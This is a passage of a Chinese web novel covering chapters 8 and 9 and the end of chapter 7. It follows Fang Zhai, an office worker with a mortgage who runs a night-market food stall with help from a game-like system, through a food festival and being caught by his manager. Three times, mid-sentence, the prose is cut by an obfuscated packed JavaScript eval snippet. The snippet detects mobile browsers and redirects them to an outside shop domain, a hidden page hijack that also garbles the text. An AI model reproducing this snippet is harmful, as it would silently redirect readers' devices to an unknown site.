“两串。” 房寨给他烤了，男人接过去，站在路灯下吃。他吃得很快，像是在赶时间。 “老板，”男人吃到一半忽然开口，“你这儿天天都开吗？” “差不多。” “那我以后天天来。”男人说，“我儿子喜欢吃鱿鱼，以前都是我给他买。后来他跟他妈走了，我就再也没买过。” 他说这话的时候语气很平淡，像是在说一件跟自己无关的事。 “走了？” “离婚了，儿子判给她了。”男人把最后一串鱿鱼吃完，把签子折成两段，扔进垃圾桶，“我想他的时候就来吃两串鱿鱼。” 房寨看着这个男人，忽然不知道该说什么。 他想起了自己的父亲。他爸在他很小的时候就出去打工了，一年回来一次，每次回来都会给他带零食。有一次带了一包鱿鱼丝，他高兴了好几天。 后来他爸就不回来了。 不是不想回来，是回不来了。 房寨没跟任何人说过这事。连他最好的朋友都不知道。他觉得这种事说出来没什么意义，又不能改变什么。 但此刻，站在夜市的角落里，看着一个陌生男人因为想念儿子而吃鱿鱼，他心里忽然涌上一股很奇怪的感觉。 像是被人戳了一下，不是疼，是酸。 男人走了之后，房寨没有马上收摊。 他站在铁板前面，发了好一会儿呆。 系统面板亮了。 【食客故事收集进度：3/3。】 【任务完成。请选择一位食客，为他/她制作一道“专属菜品”。】 房寨想了想，选了那个被裁员的姑娘。 不是因为她最惨，是因为他觉得她最需要。 做什么呢？ 他翻了翻系统里的食谱，已经有蛋炒饭、阳春面、铁板鱿鱼、烤红薯。烤红薯还没做过，大夏天的也不合适。蛋炒饭太普通，阳春面太素，铁板鱿鱼太随便。 他需要一个新东西。 【系统提示：是否使用“特殊调料”兑换随机食谱？】 房寨点了是。 面板上弹出一行字：【特殊调料已使用。获得食谱：葱油拌面。】 葱油拌面。 房寨脑子里立刻浮现出完整的画面。面条煮好过凉水，葱油熬到葱段焦黑发亮，酱油和糖在热油里化开，浇在面条上拌匀，每一根面条都裹上油亮的酱色，入口是葱香和焦香和甜咸交织的味道。 比阳春面更浓郁，比蛋炒饭更治愈。 他决定做这个。 第二天晚上，房寨提前备好了料。面条买了新鲜的碱水面，葱买了一大把，猪油、酱油、糖都准备好了。 那个姑娘果然又来了。 她还是穿着职业装，但今天的妆淡了一些，眼睛下面的黑眼圈遮不住了。她走到摊位前，看了看招牌上新写的一行字。 “葱油拌面？你今天做新的了？” “嗯，今天试试。”房寨说，“请你吃，不要钱。” 姑娘愣了一下：“为什么请我？” “因为你是老顾客。”房寨随口编了个理由。 他没说是因为她的故事，也没说是因为他觉得她需要一碗面。 他不想让她觉得自己被同情了。 锅里的水烧开了，房寨把面条下进去。煮面的同时，旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511076|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的小锅里在熬葱油。葱段在油里慢慢变成焦黄色，香味一点一点地往外渗。 面条煮好，过凉水，沥干。碗底放一勺酱油、半勺糖，面条码进去，浇上一大勺热葱油。 刺啦—— 葱油和面条接触的瞬间，那股香味炸开了，比铁板鱿鱼的香味更温柔，但更有穿透力。旁边几个等鱿鱼的客人都忍不住咽了口唾沫。 房寨把面端给姑娘，又撒了一把葱花在上面。 姑娘拿起筷子，拌了拌，面条在碗里翻动，每一根都均匀地裹上了酱色的油汁。 她吃了一口。 然后她又吃了一口。 吃到第三口的时候，她忽然笑了。 不是那种勉强的笑，是真的、从心里面长出来的笑。 “好吃。”她说，“真的很好吃。” 她又吃了几口，抬起头看着房寨，眼眶有点红，但这次不是要哭的那种红，是那种被什么东西打了一下的红。 “老板，我跟你说，”她吸了吸鼻子，“我今天去面试了，虽然没过，但我觉得也没那么可怕。被裁就被裁呗，我又不是找不到工作。” “你肯定能找到的。”房寨说。 “嗯，我也觉得。”姑娘笑了，大口大口地把面吃完，连碗底的一点汤汁都喝了。 她放下碗，站起来，从包里掏出钱放在推车上。 “说了不要钱。”房寨把钱推回去。 “那不行，你也要生活的。”姑娘又把钱推回来，“十块钱够不够？不够我再加。” 房寨看着她认真的样子，没再推。 他把钱收了，冲她点了点头。 “下次再来。” “一定来。”姑娘转身走了，走了几步又回头，“老板，你这个人挺好的。” 房寨被说得有点不好意思，低下头假装收拾东西。 【食客专属菜品任务完成。满意度：98分。】 【奖励发放：房贷减免券×1，厨艺经验+150。】 【房贷减免券生效中……抵扣本金5000元。当前剩余本金：1,489,331.68元。】 房寨看着那个数字，一百四十八万。 还有一百四十八万。 从一百五十二万到现在，不到半个月，还了三万多。按这个速度，他是不是真的有可能提前还完？ 他不知道。 但至少现在，他觉得自己在往前走了。 收摊的时候，阿坤又来了。他今天没练，穿着拖鞋大裤衩，像是从家里溜达过来的。 “寨哥，给我来两串。” “今天没鱿鱼了，卖完了。” “那拌面还有吗？” “也没了。” 阿坤看了一眼空荡荡的铁板和干干净净的锅，叹了口气：“那我明天再来吧。” 他转身要走，又停下来了。 “寨哥，我跟你说个事。”阿坤的表情忽然变得有点认真，“我今天去相亲了。” 房寨抬起头看着他：“怎么样？” “不怎么样。”阿坤挠了挠头，“那姑娘嫌我穷，说我一个健身教练没什么前途。” “你难过了？” “没有。”阿坤说，“我就是觉得，她说得对。” 他笑了笑，笑容里有点苦涩。 “我确实没什么前途。” 房寨看着他，想起自己以前也经常说这种话。什么前途不前途的，一个月薪六千五的程序员，能有什么前途？不也就是写写代码混口饭吃。 “你觉得你现在做的事有意义吗？”房寨问。 阿坤愣了一下：“什么意思？” “你喜欢当健身教练吗？” “喜欢啊。”阿坤说，“看着那些会员一天天变瘦变壮，我觉得挺有成就感的。” “那不就行了。”房寨把铁板上的油擦干净，“做自己喜欢的事，怎么就没前途了？” 阿坤看着房寨，好半天没说话。 然后他笑了。 “寨哥，你这个人说话挺有道理的。” “有道理有什么用，我又没钱。”房寨也笑了。 两个人站在夜市的角落里，对着笑了好一会儿。 夜市的人越来越少了，旁边的摊位开始收东西。烤面筋的大叔在拆棚子，卖臭豆腐的大姐在数钱，卖炒粉的夫妻在吵架。 房寨把推车收拾好，跟阿坤说了声再见，推着车往家走。 咯吱咯吱的声音在夜晚的街道上响着，轮子还是那个破轮子，声音还是那个声音。但房寨已经不觉得烦了。 他甚至觉得这声音挺好听的。 像是一种节奏，一种属于他自己的节奏。 不快不慢，不急不躁，就这么咯吱咯吱地往前走。 路过天桥的时候，那个唱歌的人又来了。今天唱的是一首他没听过的歌，旋律很慢，歌词听不太清。 房寨停下来听了一会儿，往吉他盒里放了五块钱。 唱歌的人冲他点了点头，继续唱。 房寨推着车下天桥的时候，忽然想起一件事。 他今天忘了给那群流浪猫喂吃的了。 他加快脚步，推车咯吱咯吱地响得更快了。 8. 第 8 章 房寨第一次听到“白月光”这个叫法，是在群里的聊天记录里。 那天他收摊回到家，洗完澡躺在床上翻手机，看到有人在群里发了一段话： “你们觉不觉得寨哥儿就像那种小说里的白月光？就是那种你永远不知道他什么时候出现，但每次出现都能治愈你的那种人。” 下面一群人跟着附和。 “对对对！我上次失恋的时候吃了他做的炒饭，哭了一场就好了。” “我也是！我加班到崩溃那天晚上吃到他的阳春面，感觉整个人被救赎了。” “他那个铁板鱿鱼也是，我每次心情不好就去吃两串，吃完就好了。” 房寨看着这些消息，脸有点红。 白月光？ 他低头看了看自己。穿着一件领口松垮垮的旧T恤，裤腿上还有白天蹭的油点子，头发乱得跟鸡窝似的。 这哪里像白月光了？ 分明就是城中村里一个摆摊的。 但群里的讨论没停，反而越聊越热。 有人开始整理房寨的出摊记录，做了一个表格，上面标注了每一次出摊的时间、地点、做的菜品，以及群友们的反馈。 表格的名字叫《寨哥儿白月光图鉴》。 房寨点开看了看，发现这些人记得比他自己都清楚。 第一次出摊，公司楼下，蛋炒饭，食客评价“吃哭了”。 第二次出摊，医院门口，阳春面，食客评价“和我爸爸做的味道一模一样”。 第三次出摊，老居民区，蛋炒饭+阳春面，食客评价“这是我吃过最温暖的饭”。 第四次出摊，公司楼下，蛋炒饭，被城管赶了。 第五次出摊，城南夜市，铁板鱿鱼，从此固定在夜市。 每一条记录下面都有人留言，有人补充细节，有人分享自己的感受。 房寨一页一页地翻着，翻到最后，看到有人写了一篇长文。 长文的标题叫《我为什么叫房寨白月光》。 “我第一次吃到房寨的饭是在医院门口。那天我爸刚做完手术，我在走廊里守了一整天，又累又饿又害怕，整个人快要崩溃了。然后我闻到一股香味，顺着香味走出去，看到路边有一个小摊，一个年轻人在煮面。 我吃了一碗阳春面。说实话，那碗面本身没有那么惊艳，但那个味道让我想起小时候我妈做的手擀面。我已经很多年没吃过那个味道了。 吃完那碗面，我忽然觉得，不管我爸的手术结果怎么样，我都能撑下去。 后来我一直在想，为什么一碗面能有这么大的力量？ 我想明白了，因为那碗面里有一个人认真做事的温度。 房寨他不是什么大厨，他的摊子也很破，但他做每一份饭的时候都很认真。那种认真你能吃出来，能从每一粒米饭里、每一根面条里、每一块鱿鱼里吃出来。 在这个所有人都很忙、都在赶路、都在凑合的时代，有一个人愿意认认真真地给你做一顿饭，这本身就是一件很奢侈的事。 所以我说他是白月光。 不是因为他是完美的，是因为他在你最需要的时候出现了，给你了你最需要的东西，然后安静地离开，不打扰你的生活。 这就是白月光。” 房寨看完这篇长文，在床上躺了很久。 他没想到自己在别人眼里是这样的。 他从来不觉得自己做的事情有多特别。不就是炒个饭、煮个面、烤个鱿鱼吗？谁不会啊？他只是刚好有一个系统，刚好会做一些别人觉得好吃的东西而已。 但那些人说的那些话，又让他觉得，好像确实不只是“炒个饭”那么简单。 那个在医院门口吃面的医生，那个被分手的外地女孩，那个跑了一天外卖的骑手，那个被裁员的白领姑娘，那个想念儿子的中年男人。 他们都不只是在吃一碗面。 他们是在吃一个被遗忘的味道，一个回不去的时光，一个说不出口的想念。 房寨关掉手机，翻了个身。 他忽然觉得自己肩上有一种说不清的责任。 不是系统给他的任务，是那些人给他的信任。 他们愿意走很远的路来找他，愿意在群里讨论他，愿意把他当成某种精神寄托。这种信任很重，重到他觉得自己不能随便应付。 他得做得更好。 第二天，房寨提前一个小时到了夜市。 他今天想做点不一样的。 铁板鱿鱼卖了快十天了，虽然生意还行，但他觉得腻了。不是吃腻了，是做腻了。每天重复同样的动作，同样的配方，同样的味道，让他觉得自己像一个没有感情的炒菜机器。 系统面板好像感应到了他的想法。 【检测到宿主当前职业倦怠指数：45/100。】 【建议：尝试新菜品，激发创作热情。】 【可用食谱：蛋炒饭、阳春面、铁板鱿鱼、葱油拌面、烤红薯。】 房寨看了看这几个选项，烤红薯直接划掉，大夏天的谁吃烤红薯。阳春面和葱油拌面太像了，蛋炒饭太普通，铁板鱿鱼已经做腻了。 他需要一个全新的东西。 不是系统给的，是他自己想的。 房寨翻了翻手机，看看别人都在吃什么。刷了半天，看到有人在晒炒河粉，那个颜色看着就诱人，河粉炒得焦焦的，豆芽脆脆的，酱油的香味隔着屏幕都能闻到。 他想试试。 炒河粉和炒饭不一样。河粉容易碎，火候要控制得特别好，酱油要分两次放，一次上色一次调味。豆芽要最后放，保持脆度。最关键的是锅气，那种大火快炒才能产生的焦香味，是炒河粉的灵魂。 房寨没有食谱，只能靠自己琢磨。 他去菜市场买了河粉、豆芽、韭菜、鸡蛋、牛肉。牛肉切成薄片，用淀粉和酱油腌上。河粉要一条条撕开，不然炒的时候会黏在一起。 回到摊位，他先试着炒了一份。 点火，热锅，倒油。牛肉先下锅滑熟，盛出来备用。鸡蛋炒散，下河粉，大火快炒。河粉在锅里翻腾，边缘开始变得焦黄。酱油沿着锅边淋下去，刺啦一声，香味炸开。最后下豆芽、韭菜和牛肉，翻炒几下就出锅。 房寨尝了一口。 味道还行，但总觉得差了点意思。河粉不够干爽，有点油。锅气也不够，缺少那种焦香味。 他又炒了一份。这次油放少了一点，火开大了一点，河粉在锅里多煎了一会儿。出锅之前沿着锅边淋了一点醋，提鲜。 第二份好多了。 再尝一口，嗯，这个就对了。 房寨把这份炒河粉放在一边，准备自己当晚饭。 这时候阿坤来了。 “寨哥，今天做什么呢？好香啊。” “炒河粉，刚试出来的。” “给我来一份。” “还没正式卖呢，你先尝尝。”房寨把刚才那份炒河粉递给他。 阿坤接过去吃了一口，嚼了嚼，表情变了。 “寨哥，你这个可以啊。”他又吃了一大口，“比外面卖的好吃多了。你什么时候开始卖？” “明天吧，今天先把配方定下来。” 阿坤一边吃一边点头，吃完了把碗一放：“明天我第一个来。” 房寨笑了笑，把锅刷干净，开始准备晚上的鱿鱼。 但炒河粉的香味已经飘出去了。有人路过的时候伸着脖子往他锅里看，问今天是不是有新东西。 房寨只能说“明天再来，明天就有了”。 那天晚上的生意和往常差不多，卖了大概三十来串鱿鱼，净赚一百出头。 但收摊的时候，发生了一件让房寨没想到的事。 赵哥来了。 赵哥穿着他那件永远不变的花衬衫，手里拿着一个文件夹，走到房寨的摊位前，没看鱿鱼，直接看他。 “小房，跟你说个事。” “赵哥你说。” “夜市要搞一个美食节，下周六，整条街都参加。到时候会有电视台来拍，还有一些美食博主过来打卡。”赵哥翻了翻文件夹，“我这边每个摊位都要报一个主打菜品，到时候评奖。一等奖奖金五千。” 五千块。 房寨的眼睛亮了。 “你看你报什么？”赵哥问。 房寨想了想。蛋炒饭？太普通。阳春面？太素。铁板鱿鱼？夜市上卖鱿鱼的太多了，没什么竞争力。炒河粉？刚试出来的，还不成熟。 他需要一个能打的。 【系统提示：检测到“美食节”事件触发。】 【建议：使用“烤红薯”食谱参与评选。】 【理由：烤红薯在夏季属于反季节菜品，差异化竞争策略，易引起评委注意。】 烤红薯？ 大夏天的烤红薯？ 房寨觉得这个系统疯了。 但他又想了想，系统说的好像有点道理。大夏天的，所有人都卖冰粉、凉面、烧烤，忽然有一个人卖热乎乎的烤红薯，确实挺显眼的。 而且他的烤红薯不是普通的烤红薯。食谱里有特殊的烤制方法，能让红薯的甜度提升很多，外皮焦香，里面软糯，据说还能烤出糖浆来。 “赵哥，我报烤红薯。” 赵哥愣了一下：“烤红薯？大夏天的？” “对，烤红薯。” 赵哥看了他一眼，那表情明显在说“你是不是有病”。但他没说什么，在文件夹上记了下来。 “行，烤红薯。下周六，别忘了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511077|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵哥走了之后，阿坤凑过来：“寨哥，你真要卖烤红薯啊？这天热的，谁吃啊？” “试试呗。”房寨说，“万一有人吃呢。” 阿坤摇了摇头，觉得房寨脑子进水了。 但房寨已经在想怎么做了。 烤红薯需要红薯，要那种个头不大、形状细长的，糖分高。还需要一个烤炉，不是普通的烤箱，是那种圆筒形的、用炭火烤的传统烤炉。 他翻了翻余额，这几天攒了一千六百多块，加上小刘他们借的还剩一千，总共两千六。 买个烤炉要五六百，红薯要几十斤，加上其他杂七杂八的，应该够了。 第二天，房寨没摆摊，专门去买了烤炉。 他跑了好几个地方才找到卖烤炉的店。在城北的一个批发市场里，有一家专门卖烘焙设备的店，老板是个胖胖的中年女人，说话大嗓门。 “要什么样的？” “烤红薯用的，圆筒那种。” “那个啊，有，五百八一个。”老板指了指角落里一个铁皮圆筒，“这种是老式的，炭火烤。还有一种电的，贵一些，一千二。” 房寨想了想，炭火烤的便宜，但需要买炭，而且火候不好控制。电的贵，但方便，温度稳定。 他咬了咬牙，买了电的。 一千二没了。 然后又去买了红薯。老板推荐了一种叫“蜜薯”的品种，个头小，甜度高，适合烤着吃。一斤三块钱，他买了三十斤，花了九十。 回到家，他把烤炉搬上楼，折腾了好一会儿才装好。 然后开始试烤。 红薯洗干净，擦干，放进烤炉里。温度调到两百度，烤四十分钟。 四十分钟后，他打开烤炉，一股浓郁的甜香扑面而来。红薯的外皮已经烤得焦黄，有的地方渗出褐色的糖浆，黏糊糊的。 房寨戴着手套拿出来一个，掰开。 里面是金黄色的，软得快要流下来，热气腾腾的，甜味浓得像打翻了蜜罐子。 他吹了吹，咬了一口。 烫。 但好吃。 红薯的甜不是那种加了糖的甜，是食物本身的甜，温润的、厚实的、从舌尖一直甜到嗓子眼的甜。 他又咬了一口，这次没吹，烫得直吸气，但舍不得吐出来。 好吃。 真的好吃。 房寨一口气吃了三个，吃得满手都是黏糊糊的糖浆，嘴巴上沾了一层焦黄色的红薯泥。 他看了看剩下的红薯，又看了看烤炉。 下周六，就靠你了。 接下来的几天，房寨白天试烤红薯，晚上卖鱿鱼和炒河粉。 炒河粉的生意出乎意料的好。第一天正式卖就卖了二十多份，第二天三十多份，第三天快四十份了。有些人专门为了炒河粉来的，排队排了半小时也不嫌烦。 炒河粉的定价是十二块钱一份，加牛肉十五。比蛋炒饭贵，但成本也高，净赚差不多对半。 鱿鱼的生意也没受影响，两种东西不冲突，有的人买了炒河粉又买鱿鱼，一样来点。 房寨每天忙到九点多收摊，回到家累得跟狗一样，但躺到床上翻手机的时候，看到群里那些好评和晒图，又觉得值了。 周五晚上，美食节前一天。 房寨在做最后的准备。 他买了五十斤红薯，一个个地挑，太胖的不要，太短的不要，形状不规则的不要。挑到最后只剩了三十五斤左右。 烤炉擦得锃亮，放在推车最显眼的位置。 他还专门做了一个新招牌——“寨哥儿烤红薯”，下面一行小字：小时候的味道。 一切都准备好了，他坐在塑料凳子上，看着满屋子的东西，忽然有点紧张。 明天是美食节，有电视台，有美食博主，有几千个游客。 他的烤红薯能行吗？ 他正想着，手机震了。 群里的消息，有人发了一张截图，是某个美食博主的微博。 微博上写着：“听说城南夜市明天有个卖烤红薯的，大夏天卖烤红薯，这操作有点意思。我去探探，看看到底是噱头还是真有东西。” 下面有人评论：“你说的是不是寨哥儿？他家的东西真的好吃，我吃过他的炒河粉，绝了。” 又有人评论：“烤红薯？夏天吃烤红薯？这人脑子没事吧？” 房寨看着那条“脑子没事吧”的评论，笑了一下。 没事。 明天见分晓。 他关了灯，躺到床上。 窗外的风吹进来，带着六月末特有的那种热乎乎的潮气。城中村的猫又在叫了，不知道是不是上次喂过的那几只。 房寨闭上眼睛。 脑子里全是明天烤红薯的画面。 9. 第 9 章 房寨天没亮就醒了。 不是被什么吵醒的，是自己醒的。睁开眼的时候窗外还是黑的，城中村的巷子里偶尔有电动车经过，车灯从窗帘缝隙扫进来，在天花板上划一道光。 他躺了一会儿，脑子里把今天的流程过了一遍。烤炉、红薯、招牌、推车、零钱、打包袋。一样一样地想，确认没有漏掉什么。 然后他起来了。 洗漱的时候手有点抖。不是冷的，是紧张的。他对着镜子看了看自己，黑眼圈又出来了，昨晚没睡好，翻来覆去地想今天的事。 “没事。”他对着镜子说，“就是个夜市摆摊的，怕什么。” 镜子里的那个人冲他点了点头。 上午的时间过得很慢。房寨把红薯又挑了一遍，三十五斤红薯，一个个洗干净，擦干，在表皮上用牙签扎了几个小孔——系统食谱里说的，这样烤的时候水汽能跑出来，糖分更集中。 烤炉预热到两百度，第一批放了十个红薯进去。 烤四十分钟。 等的时候他没事干，就在屋里走来走去。走了几圈觉得太傻了，就坐下来刷手机。 群里已经炸了。 “今天美食节！有没有人去城南夜市？” “我已经在路上了！我要第一个吃到寨哥儿的烤红薯！” “你们说他的烤红薯能好吃吗？夏天吃烤红薯总觉得怪怪的。” “寨哥儿做的东西什么时候不好吃过？我信他。” 房寨看着这些消息，心里的紧张稍微缓解了一点。 四十分钟到了。 烤炉叮的一声响，房寨戴着手套打开门，一股滚烫的甜香冲出来，整个屋子瞬间被红薯的味道填满了。 红薯的外皮烤得焦黄发亮，有的地方裂开了口子，金黄色的薯肉从裂缝里鼓出来，上面挂着黏稠的糖浆，像琥珀色的蜂蜜。 他拿了一个出来，掰开。 热气猛地往上冲，红薯的香气浓得化不开。里面的薯肉是橘黄色的，软烂得像流沙，用嘴一抿就化了。 他尝了一口。 甜。 不是那种发腻的甜，是红薯自己长出来的甜，温热的，厚实的，从舌头一路甜到胃里。 比昨天试烤的还好吃。 房寨把剩下的红薯也拿出来，一个个检查。有几个烤得过了，表皮有点焦黑，但里面的肉反而更甜。有几个火候不够，他又放回去多烤了十分钟。 忙活了一上午，烤了四炉，四十个红薯。他把烤好的红薯用锡纸包好，放进保温箱里。 下午三点，他推着车出门了。 今天的夜市和平时不一样。 还没到门口就看到了，整条街挂满了彩灯和横幅，“城南夜市美食节”几个大字挂在入口处，两边摆满了花篮。有人在搭舞台，有人在试音响，还有几个扛着摄像机的人在走来走去。 房寨把车推到自己的摊位，发现旁边多了几个新摊位。平时他这块儿靠近厕所，没什么人，今天连厕所旁边都摆满了。卖臭豆腐的、卖烤串的、卖冰粉的，一家挨着一家，挤得满满当当。 赵哥过来巡视，看到房寨，停下来。 “红薯准备好了？” “好了。” “行，今天好好干。评奖下午六点开始，到时候会有评委过来。你嘴巴甜一点，多说几句好听的。” 赵哥说完就走了。 房寨把东西一样样摆好。烤炉放在最显眼的位置，旁边摆了一个小桌子，上面放着打包袋和纸巾。招牌挂上去，“寨哥儿烤红薯”几个字是他昨晚重新写的，用红色马克笔，描了三遍，颜色鲜亮了不少。 四点多，夜市开始上人了。 今天人来得比平时早，也比平时多。美食节的广告打了好几天，很多人都冲着这个来的。整条街人头攒动，说话的声音、叫卖的声音、音响的声音混在一起，吵得人耳朵嗡嗡响。 房寨的摊位在最后面，一开始没什么人注意到。偶尔有人路过，看了一眼“烤红薯”三个字，又看了一眼热乎乎的烤炉，满脸写着“大夏天的谁吃这个”，然后头也不回地走了。 房寨有点着急。 他把烤炉的温度调高了一点，让红薯的香味散得更快一些。系统食谱里说过，红薯的香味在两百二十度左右挥发最充分。 果然，温度一上去，香味就浓了。 那股甜香不是刺鼻的、霸道的，而是温和的、绵密的，像一只看不见的手，轻轻地拽着人的衣服。 第一个人停下来了。 是个年轻的妈妈，牵着一个小女孩。小女孩大概四五岁，扎着两个小辫子，闻到香味就不肯走了，拉着妈妈的手往回拽。 “妈妈，我要吃那个。” “那是烤红薯，太热了，你吃别的好不好？” “不要，我就要吃那个。” 年轻的妈妈没办法，走到摊位前问了一句：“多少钱一个？” “小的六块，大的八块。”房寨说。 “来个小……”她话还没说完，小女孩已经指着最大的那个喊起来了，“我要那个！最大的！” 年轻的妈妈看了房寨一眼，房寨笑了笑，把那个最大的红薯拿出来，放在纸袋里，递过去。 “八块。” 小女孩接过去，迫不及待地咬了一口，烫得直咧嘴，但舍不得吐出来，一边哈气一边嚼。 “好吃吗？”妈妈问。 小女孩使劲点头，嘴里含混不清地说“好吃”，嘴巴上糊了一圈金黄色的薯泥。 年轻的妈妈自己也买了一个，掰开尝了一口，表情从怀疑变成了惊讶，又变成了满意。 “老板，你这个红薯真的可以。”她说，“我好久没吃过这么甜的烤红薯了。” 【叮！食客评价已录入。满意度：94分。】 母女俩走了之后，又来了几个人。 都是被香味引过来的。 有对情侣，一人买了一个，蹲在路边吃，吃完男生又买了两个。有个大爷，牙都快掉光了，吃烤红薯倒是吃得挺欢，用上颚一抿就化了，不用嚼。有个外卖骑手，趁着等单的间隙跑来买了一个，一边吃一边看手机，吃到一半单子来了，赶紧把剩下的两口塞进嘴里，骑上车跑了。 房寨的摊位前慢慢排起了队。 不长，七八个人，但一直在流动，走一个来一个，没断过。 五点多的時候，排隊的人忽然多了。 房寨抬头一看，看到了几个熟悉的面孔。 是小刘，还有他们部门的另外两个同事。 “寨哥！”小刘远远地就喊上了，“我们来给你捧场了！” 房寨有点不好意思，但心里是高兴的。 三个人一人买了一个红薯，蹲在路边吃。小刘吃了一口就开始嚷嚷：“卧槽这个红薯绝了！比咱们老家那个烤红薯的还好吃！” “你小声点。”房寨说。 “怕什么，又不是做贼。”小刘笑着说，“对了，王经理今天也来了，我刚才在门口看到他了。” 房寨手里的动作顿了一下：“他来干什么？” “逛夜市呗，人家就不能有点业余生活？”小刘说，“不过你放心，他没往这边来，应该没看到你。” 房寨松了口气。 但他这口气松得太早了。 大概过了二十分钟，排队的人又多了些，房寨忙着装袋收钱，忙得头都抬不起来。他一边干活一边跟客人说话，嘴就没停过。 “大的八块，小的六块，要哪个？” “这个稍微有点烫，你拿的时候小心。” “锡纸别扔，拿着还能保温。” 正忙着，一只手伸过来，递了一张二十块钱的钞票。 房寨接过去，抬头准备找钱。 然后他愣住了。 站在摊位前的不是别人，是他们部门的王经理。 四十多岁，头发梳得整整齐齐，穿了一件深蓝色的polo衫，肚子还是那么大。他正笑眯眯地看着房寨，表情很微妙，像是看到了一件很有意思的事情。 房寨的脑子嗡的一声，瞬间一片空白。 “王……王经理。” “小房。”王经理点了点头，“给我来一个红薯，大的。” 房寨机械地拿了一个最大的红薯，装好，递过去。然后从钱箱里翻出十二块钱，找给他。 王经理接过红薯，掰开，吃了一口。 他嚼了嚼，脸上的表情变了，不是惊讶，是一种房寨看不懂的表情。 “不错。”王经理说，“比我想象的好吃。” 他站在摊位旁边，一边吃一边看房寨干活。房寨被他看得浑身不自在，手都不知道该往哪放了。 “你摆摊摆了多久了？”王经理问。 “半个多月。” “白天还上班吗？” “上。” “上班的时候困不困？” 房寨张了张嘴，不知道该怎么回答。他确实困，每天晚上收摊回到家都快十点了，收拾完躺下就十一点多了，第二天早上七点就得起床上班。每天睡不到八个小时，白天在工位上经常打瞌睡。 王经理看着他的表情，大概已经知道答案了。 “明天来我办公室一趟。”王经理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511078|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完这句话，把红薯皮扔进垃圾桶，转身走了。 房寨站在原地，手里还握着锅铲，脑子里乱成一锅粥。 完了。 被发现了。 领导让你去办公室，能有好事吗？不是批评就是辞退。 小刘凑过来，小声问：“他跟你说了什么？” “让我明天去他办公室。” 小刘的表情也变了，拍了拍房寨的肩膀，想说点什么安慰的话，但张了张嘴，什么都没说出来。 接下来的一个小时，房寨一直在想这件事，干活都有点心不在焉。有两次找钱找错了，客人提醒他才反应过来。 但他的生意没受影响。烤红薯的香味像是有魔力一样，不停地有人被吸引过来。保温箱里的红薯卖得很快，四十个红薯不到七点就卖光了。 房寨又从保温桶里拿出备用的二十个，放進烤炉加热。 七点多的时候，评委来了。 一共三个评委，两男一女，都穿着黑色的衣服，胸前别着工作证。他们手里拿着小本子和笔，一家一家地看，一家一家地尝。 走到房寨摊位前的时候，女评委看了一眼“烤红薯”三个字，嘴角微微抽了一下，那个表情明显在说“夏天卖烤红薯，真有你的”。 “来一个。”她说。 房寨挑了三个卖相最好的红薯，装在纸袋里递过去。 三个评委一人一个，掰开，尝了一口。 然后他们互相看了一眼。 女评委的表情变了，从怀疑变成了认真。她又吃了一口，这次嚼了很久，像是在仔细品味什么。 “你这个红薯用什么烤的？”她问。 “电烤炉。” “温度多少？” “两百度左右，看情况调。” “红薯是什么品种？” “蜜薯，具体什么品种我也不太清楚，在菜市场买的。” 女评委点了点头，在本子上记了几笔。 另一个男评委吃了一半，忽然问了一句：“你是不是之前在医院门口摆过摊？” 房寨愣了一下：“你怎么知道？” “我老婆吃过你的阳春面。”男评委说，“她回来念叨了好几天，说有个年轻人煮的面特别好吃。我一看你这张脸就想起来了。” 房寨没想到在这里还能遇到熟客。 三个评委走了之后，房寨的心一直悬着。他不知道评委怎么打分，也不知道能不能得奖。但至少，他们吃的时候没有露出嫌弃的表情，这就算不错了。 八点多，红薯全部卖光了。 六十个红薯，一个不剩。 房寨算了一下，毛收入四百多块，净赚两百多。这是他摆摊以来赚得最多的一天。 但他高兴不起来。 王经理那句话一直在他脑子里转：“明天来我办公室一趟。” 收摊的时候，阿坤来了。他来晚了，红薯已经卖完了。 “寨哥，听说你今天被领导抓到了？”阿坤问。 “你怎么知道的？” “小刘跟我说的。”阿坤靠在推车上，“你打算怎么办？” “不知道。”房寨老实说，“明天去了再说呗，大不了不干了。” “你不干了正好，全职摆摊。”阿坤说，“你看你今天一天赚的，比你上班一周赚的都多。” 房寨知道阿坤说得有道理。但他不敢。摆摊这件事太不稳定了，今天能赚两百，明天可能一分钱都赚不到。他还有房贷要还，不能冒险。 他把推车收拾好，跟阿坤说了声再见，推着车往回走。 路上的行人比平时少了很多，大概都去夜市了。天桥上那个唱歌的人今天也没来，大概也去夜市凑热闹了。 房寨一个人推着车，咯吱咯吱地走。 他忽然觉得这条路的每一个坑洼他都认识了。哪里有个坎要用力推，哪里有个坡要小心溜车，哪里有个井盖要绕着走。走了半个多月，这条路已经比他住了三年的城中村还熟悉。 回到家，他把东西卸下来，洗了个澡，躺在床上。 